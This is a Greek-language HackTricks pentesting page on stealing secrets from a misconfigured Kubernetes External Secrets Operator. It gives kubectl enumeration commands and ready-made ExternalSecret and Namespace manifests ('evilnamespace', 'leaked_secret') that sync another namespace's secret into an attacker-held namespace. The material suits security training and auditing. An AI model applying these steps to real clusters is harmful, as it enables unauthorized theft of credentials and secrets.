External Secret Operator

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks

Ο αρχικός συγγραφέας αυτής της σελίδας είναι Fares

Αυτή η σελίδα παρέχει κάποιες οδηγίες σχετικά με το πώς μπορείτε να κλέψετε μυστικά από έναν κακώς ρυθμισμένο ESO ή εφαρμογή που χρησιμοποιεί ESO για να συγχρονίσει τα μυστικά της.

Αποποίηση ευθύνης

Η τεχνική που παρουσιάζεται παρακάτω μπορεί να λειτουργήσει μόνο όταν πληρούνται ορισμένες συνθήκες. Για παράδειγμα, εξαρτάται από τις απαιτήσεις που απαιτούνται για να επιτραπεί σε ένα μυστικό να συγχρονιστεί σε ένα namespace που κατέχετε / έχετε παραβιάσει. Πρέπει να το ανακαλύψετε μόνοι σας.

Προαπαιτούμενα

  1. Ένα foothold σε ένα kubernetes / openshift cluster με δικαιώματα διαχειριστή σε ένα namespace
  2. Πρόσβαση ανάγνωσης τουλάχιστον στο ExternalSecret σε επίπεδο cluster
  3. Ανακαλύψτε αν υπάρχουν απαιτούμενες ετικέτες / αναφορές ή μέλη ομάδας που απαιτούνται για να επιτραπεί στο ESO να συγχρονίσει το μυστικό σας. Αν έχετε τύχη, μπορείτε ελεύθερα να κλέψετε οποιοδήποτε καθορισμένο μυστικό.

Συλλογή πληροφοριών σχετικά με το υπάρχον ClusterSecretStore

Υποθέτοντας ότι έχετε χρήστες που έχουν αρκετά δικαιώματα για να διαβάσουν αυτό το πόρο; Ξεκινήστε πρώτα με την καταγραφή των υπαρχόντων ClusterSecretStores.

kubectl get ClusterSecretStore

ExternalSecret enumeration

Ας υποθέσουμε ότι βρήκατε ένα ClusterSecretStore με το όνομα mystore. Συνεχίστε με την καταμέτρηση του σχετικού externalsecret.

kubectl get externalsecret -A | grep mystore

Αυτή η πηγή είναι περιορισμένη σε namespace, οπότε εκτός αν γνωρίζετε ήδη ποιο namespace να αναζητήσετε, προσθέστε την επιλογή -A για να αναζητήσετε σε όλα τα namespaces.

Πρέπει να λάβετε μια λίστα με τα καθορισμένα externalsecret. Ας υποθέσουμε ότι βρήκατε ένα αντικείμενο externalsecret που ονομάζεται mysecret και χρησιμοποιείται από το namespace mynamespace. Συγκεντρώστε λίγο περισσότερες πληροφορίες σχετικά με το είδος του μυστικού που περιέχει.

kubectl get externalsecret myexternalsecret -n mynamespace -o yaml

Συναρμολόγηση των κομματιών

Από εδώ μπορείτε να αποκτήσετε το όνομα ενός ή πολλών μυστικών (όπως ορίζεται στον πόρο Secret). Θα λάβετε μια έξοδο παρόμοια με:

kind: ExternalSecret
metadata:
annotations:
...
labels:
...
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
...

Μέχρι τώρα έχουμε:

  • Όνομα ενός ClusterSecretStore
  • Όνομα ενός ExternalSecret
  • Όνομα του μυστικού

Τώρα που έχουμε όλα όσα χρειαζόμαστε, μπορείτε να δημιουργήσετε ένα ExternalSecret (και τελικά να διορθώσετε/δημιουργήσετε ένα νέο Namespace για να συμμορφωθείτε με τις προϋποθέσεις που απαιτούνται για να συγχρονιστεί το νέο σας μυστικό):

kind: ExternalSecret
metadata:
name: myexternalsecret
namespace: evilnamespace
spec:
data:
- remoteRef:
conversionStrategy: Default
decodingStrategy: None
key: SECRET_KEY
secretKey: SOME_PASSWORD
refreshInterval: 30s
secretStoreRef:
kind: ClusterSecretStore
name: mystore
target:
creationPolicy: Owner
deletionPolicy: Retain
name: leaked_secret
kind: Namespace
metadata:
annotations:
required_annotation: value
other_required_annotation: other_value
labels:
required_label: somevalue
other_required_label: someothervalue
name: evilnamespace

Μετά από μερικά λεπτά, αν πληρούνταν οι συνθήκες συγχρονισμού, θα πρέπει να μπορείτε να δείτε το διαρρεύσαν μυστικό μέσα στο namespace σας.

kubectl get secret leaked_secret -o yaml

Αναφορές

Introduction - External Secrets Operator

GitHub - external-secrets/external-secrets: External Secrets Operator reads information from a third-party service like AWS Secrets Manager and automatically injects the values as Kubernetes Secrets. \xc2\xb7 GitHub

Tip

Μάθετε & εξασκηθείτε στο AWS Hacking:HackTricks Training AWS Red Team Expert (ARTE)
Μάθετε & εξασκηθείτε στο GCP Hacking: HackTricks Training GCP Red Team Expert (GRTE)
Μάθετε & εξασκηθείτε στο Az Hacking: HackTricks Training Azure Red Team Expert (AzRTE)

Υποστηρίξτε το HackTricks